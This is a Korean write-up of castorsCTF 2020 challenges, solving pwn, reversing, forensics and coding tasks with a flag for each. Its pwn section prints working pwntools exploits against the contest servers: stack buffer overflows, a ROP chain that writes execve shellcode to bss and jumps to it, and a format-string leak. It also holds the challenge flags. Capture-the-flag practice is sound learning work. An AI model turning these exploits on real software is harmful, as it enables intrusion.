개인1856점, 총 4974점을따서 43등을 했습니다.
첫날 서버오류로 디코방에서 문제를 받고
운영자에게 DM으로 flag 를 인증한게 기억에납니다.
점수별 난이도조절을 실패해서 43등까지 온것같네요.
- pwn
abcbof
babybof1
babybof1 pt2
babybof2
babyfmt
- rev
Vault0
Vault1
Stacking
Xor
Reverse-me
- forensic
Manipulation
Leftovers
- coding
arithmetics
PWNABLE
abcbof
gets 로 입력을 받고 [rbp-0x110]
[rbp-0x10] 과 'CyberCastors' 을 비교합니다.
gets 로 입력을 받으니, dummy 값 0x100 개를 채우고
rbp-0x10 값을 CyberCastors 로 변조하면 되겠습니다.
from pwn import *
r=remote("chals20.cybercastors.com",14424)
#r=process("./abcbof")
pay=""
pay+='x'*0x100
pay+="CyberCastors"+'\x00'
r.sendline(pay)
r.interactive()
babybof1
이름을 입력해달라 두 줄을 출력해주고,
gets 함수로 입력을 받고 종료합니다. [rbp-0x100]
CANARY 가 없고, get_flag 라는 원샷가젯도 주어져있으니,
간단하게 dummy(100+8)+get_flag 이렇게 페이로드를 날려주겠습니다.
from pwn import *
r=remote("chals20.cybercastors.com",14425)
#r=process("./babybof")
b=ELF("./babybof")
pay=""
pay+='x'*0x100
pay+='x'*0x8
pay+=p64(b.symbols['get_flag'])
r.sendline(pay)
r.interactive()
babybof1 pt2
아까와 똑같은 바이너리를 줍니다. (???)
babybof : castorsCTF{th4t's_c00l_but_c4n_y0u_g3t_4_sh3ll_n0w?}
babybof1 의 flag 가 힌트라고했다.
shell 을 실행시킬수있냐고 물어보는것같다.
NX 가 걸려있지않으니, pop rdi;ret 가젯을 찾고,
gets 함수로 bss 쉘코드를 쓰고, bss 로 리턴하자.
snwo@snwo:~/Documents/GitHub/CTF/2020/CastorsCTF/pwn$ ROPgadget --binary babybof | grep 'pop rdi'
0x00000000004007f3 : pop rdi ; ret
찾았다. 가젯찾는것보다 색깔넣는게 더 힘들다.
from pwn import *
r=remote('chals20.cybercastors.com',14425)
b=ELF('./babybof')
prdi=0x4007f3
bss=0x601068
shellcode='\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
pay=""
pay+='x'*0x100
pay+='x'*0x8
pay+=p64(prdi)
pay+=p64(bss)
pay+=p64(b.symbols['gets'])
pay+=p64(bss)
r.sendline(pay)
r.sendline(shellcode)
r.interactive()
babybof2
아무런보호기법이 적용되어있지않아서 BOF 를 마구 일으킬 수 있다.
winnersLevel 함수가 주어져있다.
인자한개를 받는데, 0x182 or 0x102 와 일치하면
시스템함수를 실행시켜준다. (cat ./flag.txt)
32bit 파일이므로, ebp+8 에 인자를 입력하면되겠다.
from pwn import *
#r=remote("chals20.cybercastors.com",14434)
r=process("./winners")
b=ELF("./winners")
pay=""
pay+='x'*0x48
pay+='x'*4
pay+=p32(b.symbols['winnersLevel'])
pay+=p32(0)
pay+=p32(0x102)
r.sendline(pay)
r.interactive()
0 을 p32해서 넣어주는 이유는,
winnersLevel 함수로 리턴해 push ebp 를 실행했을때,
low - [ebp] [0] [0x102] - high
이런식으로 스택이쌓인다.
ebp+8 부터 첫번째인자이기때문에
ebp+8 에 0x102 가 위치하게해야한다.
(정상적으로 호출했을때, ebp+4 자리에는 리턴주소가 있어야한다)
babyfmt
undefined8 main(void)
{
FILE *__stream;
long in_FS_OFFSET;
undefined local_218 [256];
char local_118 [264];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
__stream = fopen("flag.txt","r");
if (__stream == (FILE *)0x0) {
/* WARNING: Subroutine does not return */
exit(1);
}
__isoc99_fscanf(__stream,&DAT_001009e3,local_218);
fclose(__stream);
printf("Hello everyone, this is babyfmt! say something: ");
fgets(local_118,0xff,stdin);
printf(local_118);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
fgets 로 입력을 받고, 서식문자없이 그대로 출력해준다.
flag 는 읽고난뒤에 local_218 에 저장된다.
FSB 가 일어나므로, %x %x %x ... 이렇게 입력하면
언젠간 스택에있는 flag 를 만날수있게된다.
from pwn import *
r=remote("chals20.cybercastors.com",14426)
fmt='%7$lx '
pay=""
for i in range(7,13):
fmt=fmt.replace(str(i),str(i+1))
pay+=fmt
r.sendline(pay)
sleep(1)
ss=r.recvuntil(": ")
ss=r.recvline()
ss=ss.split()
flag=''
for i in range(len(ss)):
temp=''
for j in range(0,len(ss[i]),2):
temp=chr(int(ss[i][j:j+2],16))+temp
flag+=temp
print(flag)
rsp+4 부터 차례대로 출력하는데, 8번째부터 플래그가 나왔다.
차례대로 받아와서 문자화해주자.
REVERSING
Vault0
def checkpass():
_input = input("Enter the password: ").encode()
if _input[0:4].hex() == "63617374":
if _input[4:9].hex() == "6f72734354":
if _input[9:14].hex() == "467b723178":
if _input[14:17].hex() == "54795f":
if _input[17:20].hex() == "6d316e":
if _input[20:27].hex() == "757433735f6774":
if _input[27:35].hex() == "5f73317874795f6d":
if _input[35:40].hex() == "316e757433":
if _input[40:].hex() == "737d":
return True
def main():
global access
access = checkpass()
if access:
print("Yeah...okay. You got it!")
else:
print("Lol...try again...")
access = False
main()
인풋체크소스가 주어진다.
인풋과 비교하는 checkpass() 함수를 보면,
인풋을 hex 값으로 바꾼값과 특정 hex 들을 비교하고있다.
0부터 순서대로 비교하고있으니, 헥스값을 모아서 문자화하면 된다.
flag='636173746f72734354467b72317854795f6d316e757433735f67745f73317874795f6d316e757433737d'
def hextostr(x):
return ''.join(chr(int(''.join(i),16)) for i in zip(*[iter(x)]*2))
print(hextostr(flag))
인터넷에서 헥스값들을 문자로 바꾸는 소스를 긁어왔는데,
그냥 binascii 모듈에서 unhexlify() 하면 된다.
Vault1
import base64
def xor(s1,s2):
return ''.join(chr(ord(a) ^ ord(b)) for a,b in zip(s1,s2))
def checkpass():
_input = input("Enter the password: ")
key = "promortyusvatofacidpromortyusvato"
encoded = str.encode(xor(key, _input))
result = base64.b64encode(encoded, altchars=None)
if result == b'ExMcGQAABzohNQ0TRQwtPidYAS8gXg4kAkcYISwOUQYS':
return True
else:
return False
def main():
global access
access = checkpass()
if access:
print("Yeah...okay. You got it!")
else:
print("Lol...try again...")
access = False
main()
비슷한 인풋체크소스이다.
입력한 문자열을 한글자씩 key 와 XOR 연산 후,
base64 인코딩 후 b'Ex~~' 와 같으면 통과한다.
조건에 맞는 문자열을 얻으려면,
b'Ex~~' 를 다시 base64 디코딩하고,
key값과 한글자씩 XOR 하면 flag 가 나오겠다.
import base64
flag=''
key = "promortyusvatofacidpromortyusvato"
res=base64.b64decode(b'ExMcGQAABzohNQ0TRQwtPidYAS8gXg4kAkcYISwOUQYS',altchars=None)
flag=''.join(chr(ord(a)^ord(b)) for a,b in zip(key,res))
print(flag)
Stacking
0x0000555555554741 <+23>: mov BYTE PTR [rbp-0x40],0x63
0x0000555555554745 <+27>: mov BYTE PTR [rbp-0x3f],0x61
0x0000555555554749 <+31>: mov BYTE PTR [rbp-0x3e],0x73
0x000055555555474d <+35>: mov BYTE PTR [rbp-0x3d],0x74
0x0000555555554751 <+39>: mov BYTE PTR [rbp-0x3c],0x6f
0x0000555555554755 <+43>: mov BYTE PTR [rbp-0x3b],0x72
0x0000555555554759 <+47>: mov BYTE PTR [rbp-0x3a],0x73
0x000055555555475d <+51>: mov BYTE PTR [rbp-0x39],0x43
0x0000555555554761 <+55>: mov BYTE PTR [rbp-0x38],0x54
0x0000555555554765 <+59>: mov BYTE PTR [rbp-0x37],0x46
0x0000555555554769 <+63>: mov BYTE PTR [rbp-0x36],0x7b
0x000055555555476d <+67>: mov BYTE PTR [rbp-0x35],0x77
0x0000555555554771 <+71>: mov BYTE PTR [rbp-0x34],0x33
0x0000555555554775 <+75>: mov BYTE PTR [rbp-0x33],0x6c
0x0000555555554779 <+79>: mov BYTE PTR [rbp-0x32],0x63
0x000055555555477d <+83>: mov BYTE PTR [rbp-0x31],0x30
0x0000555555554781 <+87>: mov BYTE PTR [rbp-0x30],0x6d
0x0000555555554785 <+91>: mov BYTE PTR [rbp-0x2f],0x33
0x0000555555554789 <+95>: mov BYTE PTR [rbp-0x2e],0x5f
0x000055555555478d <+99>: mov BYTE PTR [rbp-0x2d],0x37
0x0000555555554791 <+103>: mov BYTE PTR [rbp-0x2c],0x30
0x0000555555554795 <+107>: mov BYTE PTR [rbp-0x2b],0x5f
0x0000555555554799 <+111>: mov BYTE PTR [rbp-0x2a],0x72
0x000055555555479d <+115>: mov BYTE PTR [rbp-0x29],0x33
0x00005555555547a1 <+119>: mov BYTE PTR [rbp-0x28],0x76
0x00005555555547a5 <+123>: mov BYTE PTR [rbp-0x27],0x33
0x00005555555547a9 <+127>: mov BYTE PTR [rbp-0x26],0x72
0x00005555555547ad <+131>: mov BYTE PTR [rbp-0x25],0x35
0x00005555555547b1 <+135>: mov BYTE PTR [rbp-0x24],0x33
0x00005555555547b5 <+139>: mov BYTE PTR [rbp-0x23],0x5f
0x00005555555547b9 <+143>: mov BYTE PTR [rbp-0x22],0x33
0x00005555555547bd <+147>: mov BYTE PTR [rbp-0x21],0x6e
0x00005555555547c1 <+151>: mov BYTE PTR [rbp-0x20],0x36
0x00005555555547c5 <+155>: mov BYTE PTR [rbp-0x1f],0x31
0x00005555555547c9 <+159>: mov BYTE PTR [rbp-0x1e],0x6e
0x00005555555547cd <+163>: mov BYTE PTR [rbp-0x1d],0x33
0x00005555555547d1 <+167>: mov BYTE PTR [rbp-0x1c],0x33
0x00005555555547d5 <+171>: mov BYTE PTR [rbp-0x1b],0x72
0x00005555555547d9 <+175>: mov BYTE PTR [rbp-0x1a],0x31
0x00005555555547dd <+179>: mov BYTE PTR [rbp-0x19],0x6e
0x00005555555547e1 <+183>: mov BYTE PTR [rbp-0x18],0x36
0x00005555555547e5 <+187>: mov BYTE PTR [rbp-0x17],0x7d
0x00005555555547e9 <+191>: mov DWORD PTR [rbp-0x44],0x14
0x00005555555547f0 <+198>: mov DWORD PTR [rbp-0x4c],0x0
main 함수에서 호출하는 func 함수를 보면,
스택에 아스키코드값범위의 값들을 쌓고있는걸 볼 수 있다.
rbp-0x40 부터 시작이니, rbp-0x17 까지 값을 담기때문에
func+191 쯤에 BP를 걸고 실행한뒤,
문자열 시작인 rbp-0x40부터 값을 확인해보자.
XoR
undefined8 FUN_001008b1(void)
{
int iVar1;
long in_FS_OFFSET;
char local_48 [56];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
printf("Enter flag: ");
fgets(local_48,0x2c,stdin);
iVar1 = FUN_0010080a(local_48);
if (iVar1 == 0) {
puts("Correct!");
}
else {
puts("Wrong flag!");
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
flag 를 입력받고 비교하는 프로그램이다.
길이는 0x2c, 0010080a 함수에서 비교를 하네요.
ulong FUN_0010080a(char *param_1)
{
int iVar1;
size_t sVar2;
int i;
sVar2 = strlen(param_1);
for(i=0;i<sVar2;i++) {
param_1[i] = ( param_1[i] ^ i + 0xa ) -2;
}
iVar1 = strcmp(param_1,&DAT_00301020);
return (ulong)(iVar1 != 0);
}
0010080a 함수입니다. 문자열 배열을 s 라하면,
s[x]=(s[x]^i+10 )-2
(xor 연산보다 + 연산이 먼저일어납니다)
이렇게암호화를 마친 문자열은 $DAT_00301020 에있는 문자열과 비교를 합니다
67687d775f7b615044536d6b24636826722b41682d26467c147a115015101d521e
복호화하려면, 암호화문자열을 en 이라고할때
flag[x] = (en[x:x+2]+2)^i+10
이렇게하면 암호화문자열을 flag 로 복호화할 수 있습니다.
en='67687d775f7b615044536d6b24636826722b41682d26467c147a115015101d521e'
flag=''
c=0
for i in range(0,len(en),2):
flag+=chr((int(en[i:i+2],16)+2)^c+10)
c+=1
print(flag)
Reverse-me
undefined8 FUN_00100b3e(void)
{
FILE *__stream;
size_t sVar1;
undefined8 uVar2;
long in_FS_OFFSET;
int local_74;
char local_68 [32];
char local_48 [40];
long local_20;
local_20 = *(long *)(in_FS_OFFSET + 0x28);
__stream = fopen("flag.txt","r");
if (__stream == (FILE *)0x0) {
printf("flag.txt not found.");
fflush(stdout);
uVar2 = 1;
}
else {
fgets(&DAT_00302030,0x1e,__stream);
fclose(__stream);
FUN_0010096a(&DAT_00302030);
strcpy(local_68,&DAT_00302030);
FUN_00100a68(local_68);
FUN_001009c7(local_68);
puts("System Error...\nDumping memory...");
local_74 = 0;
while( true ) {
sVar1 = strlen(local_68);
if (sVar1 <= (ulong)(long)local_74) break;
printf("%x ",(ulong)(uint)(int)local_68[local_74]);
local_74 = local_74 + 1;
}
printf("\nEnter password: ");
fflush(stdout);
fgets(local_48,0x32,stdin);
FUN_0010096a(local_48);
FUN_00100a68(local_48);
FUN_001009c7(local_48);
FUN_00100abf(local_48,local_68,local_68);
uVar2 = 0;
}
if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return uVar2;
}
먼저 flag 파일을 읽어서, 0x100a68, 0x1009c7 함수를 거친뒤
암호화된 문자들을 출력해줍니다.
그리고 입력을 받은뒤 0x10096a, 0x100a68, 0x1009c7 함수를 거친뒤
0x100abf 함수로 비교를 합니다.
[0x10096a]
문자열끝에 개행문자를 널문자로 바꾸는 함수입니다.
[0x100a68]
문자마다 0x2 를 더하는 함수입니다.
[0x1009c7]
void FUN_001009c7(char *param_1)
{
size_t sVar1;
int local_10;
sVar1 = strlen(param_1);
local_10 = 0;
while (local_10 < (int)sVar1) {
if (('`' < param_1[local_10]) && (param_1[local_10] < '{')) {
param_1[local_10] =
(char)((int)param_1[local_10] + -0x57) +
(char)(((int)param_1[local_10] + -0x57) / 0x1a) * -0x1a + 'a';
}
local_10 = local_10 + 1;
}
return;
}
a~z 범위의 문자이면, 0x57 (87) 을 빼고,
나머지 26 연산을 한뒤 97 을 더해준다.
이것은 키가 10인 카이사르 암호화인걸 알 수 있다.
[0x100abf]
void FUN_00100abf(char *param_1,char *param_2)
{
int iVar1;
iVar1 = strcmp(param_1,param_2);
if (iVar1 == 0) {
puts("Correct!");
printf("castorsCTF{%s}",&DAT_00302030);
fflush(stdout);
}
else {
puts("Wrong!");
fflush(stdout);
}
return;
}
flag 와 입력한문자열이 맞으면 flag 를 출력해준다.
from pwn import *
r=remote("chals20.cybercastors.com",14427)
r.recvuntil("memory...\n")
flag=r.recvline().strip()
k='abcdefghijklmnopqrstuvwxyz'
key=10
flag=flag.split()
for i in range(len(flag)):
if chr(int(flag[i],16)) in k:
flag[i]=chr(ord(k[int(flag[i],16)-0x61-key])-2)
else:
flag[i]=chr(int(flag[i],16)-2)
#print(''.join(flag))
r.sendline(''.join(flag))
r.interactive()
카이사르 암호화할때는 문자에 key 를 더해서 나머지 26 한것처럼,
복호화할때는 문자에 key 를 빼서 나머지 26 을 하면 된다.
0x100a68 함수에서 2를 더해줬으므로,
카이사르복호화 후, 2를 빼줘야한다.
FORENSIC
manipulation
손상된 pooh.jpg 파일을 준다.
ascii코드부분을 보면, offset + hexdata + ascii 가 ascii 부분에 나타난 걸 볼 수 있다.
찾아봤더니, 00000000 은 파일끝에 있더라, 한줄씩 읽어와서 데이터부분만 붙여가지고
새로운 jpg 파일을 만들어보도록 하자.
from binascii import unhexlify
f=open("pooh.jpg","r")
hexdata=""
while 1:
t=f.readline().split()
if t[0]=='0000ccc0:':
hexdata+=t[1]+t[2]+t[3]
break
for j in range(1,9):
hexdata+=t[j]
firstformat="ffd8ffe000104a46494600010101012c"
hexdata=firstformat+hexdata
hexdata=unhexlify(hexdata)
f.close()
f=open("pooh_solve.jpg","wb")
f.write(hexdata)
f.close()
아까말했다싶이, 마지막부분은 뒤에있어서 값추출이 끝난후 앞에다 붙여주었고,
마지막줄에는 hexdata 가 6byte 밖에없기에 수동으로 붙여주었다.
Leftovers
inturrupts.pcapng 파일을 준다.
와이어샤크로 열 수 있는 패킷파일인것같다.
usb.transfer_type 이 1인것만 필터링해서 찾아봤다.
1 은 usb_interrupt in 을 의미하는데, 키보드눌렀을때같다.
아무거나 들어가서 leftover data 를 봤다.
젤왼쪽 20 은 shift 를 눌렀다는걸 의미하고,
2바이트씩해서 3번째 구간은 키를 의미한다.
키 리스트를 보면 30h 는 ']' 을 의미한다고 되어있다.
shift+] 이니까 '}' 이 입력된걸 알 수 있다.
알았다. 이것은 플래그 마지막부분이다.
tshark -r ./interrupts.pcapng -T fields -e usb.capdata > data.txt
이렇게 leftoverdata 만 추출할 수 있다.
이 데이터는 콜론 ':' 으로 구별되어있고,
이상한데이터도 약간 섞여 있어서, 팀원이 데이터를 뽑아주었다.
(thanks to ov3r_h4ul)
이 정리된 데이터를 기반으로 키맵에서 데이터를 추출해보자.
mappings = {
"00":" ",
"04":"a",
"05":"b",
"06":"c",
"07":"d",
"08":"e",
"09":"f",
"0a":"g",
"0b":"h",
"0c":"i",
"0d":"j",
"0e":"k",
"0f":"l",
"10":"m",
"11":"n",
"12":"o",
"13":"p",
"14":"q",
"15":"r",
"16":"s",
"17":"t",
"18":"u",
"19":"v",
"1a":"w",
"1b":"x",
"1c":"y",
"1d":"z",
"1e":"1",
"1f":"2",
"20":"3",
"21":"4",
"22":"5",
"23":"6",
"24":"7",
"25":"8",
"26":"9",
"27":"0",
"28":"\n",
"29":"esc",
"2a":"back",
"2b":"tab",
"2c":" ",
"2d":"_",
"2e":"=",
"2f":"{",
"30":"}",
"31":"\\",
"32":"Non-US",
"33":";",
"34":"'",
"35":"test1",
"36":",",
"37":".",
"38":"/",
"39":"Capslock",
"3a":"F1",
"3b":"F2",
"3c":"F3",
"3d":"F4",
"3e":"F5",
"3f":"F6",
"40":"F7",
"41":"F8",
"42":"F9",
"43":"F10",
"44":"F11",
"45":"F12",
"46":"PrintScreen",
"47":"ScrollLock",
"48":"Pause",
"49":"Insert",
"4a":"Home",
"4b":"PageUp",
"4c":"DeleteForward",
"4d":"End",
"4e":"PageDown",
"4f":"RightArrow",
"50":"LeftArrow",
"51":"DownArrow",
"52":"UpArrow",
}
alphabet="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
f = open("data.txt","r")
data = f.readlines()
re = ""
for l in data:
point = l[4]+l[5]
if point in mappings:
re += mappings[point]
if l[0]+l[1]=='20' and re[len(re)-1] in alphabet:
re=re[:len(re)-1]+chr(ord(re[len(re)-1])-32)
print re
what doo yoo thh nng yy uu will ff nnn herr / thh ss / c ssto ssCapslockctfCapslock {1stiswhatyoo want }
결과가 뚜렷하지않아도, 우리는 알 수 있다.
castorsCTF{1stiswhatyoowant}
CODING
arithmetics
서버에 nc 로 접속하면 사칙연산문제를 물어본다.
제한시간내에 올바른답을 안하면 종료해버린다.
그렇게 100문제정도 물어보게되는데, 내가하려면 힘드니
파이썬으로 풀어봤다.
from pwn import *
r=remote("chals20.cybercastors.com",14429)
r.recv()
r.sendline("\n")
d={'one':'1','two':'2','three':'3','four':'4','five':'5','six':'6','seven':'7','eight':'8','nine':'9'}
d2={'multiplied-by':'*','plus':'+','divided-by':'//','minus':'-'}
c=0
def calc(a,op,b):
global d
global d2
if a in d:
a=d[a]
if b in d:
b=d[b]
if op in d2:
op=d2[op]
if op=='+':
return int(a)+int(b)
if op=='-':
return int(a)-int(b)
if op=='//':
return int(a)/int(b)
if op=='*':
return int(a)*int(b)
for i in range(100):
s=r.recv()
s=s.split()
print(s)
r.sendline(str(calc(s[2],s[3],s[4])))
print(r.recvline(timeout=1)+str(i))
r.interactive()
나누기연산이 // 으로 되어있고, 중간에 숫자가 영어로 나온다던지,
사칙연산기호가 영어로 나오는 혼종들을 만날때를 대비해
딕셔너리를 준비했다.
100문제푸니까 flag 를 주더라!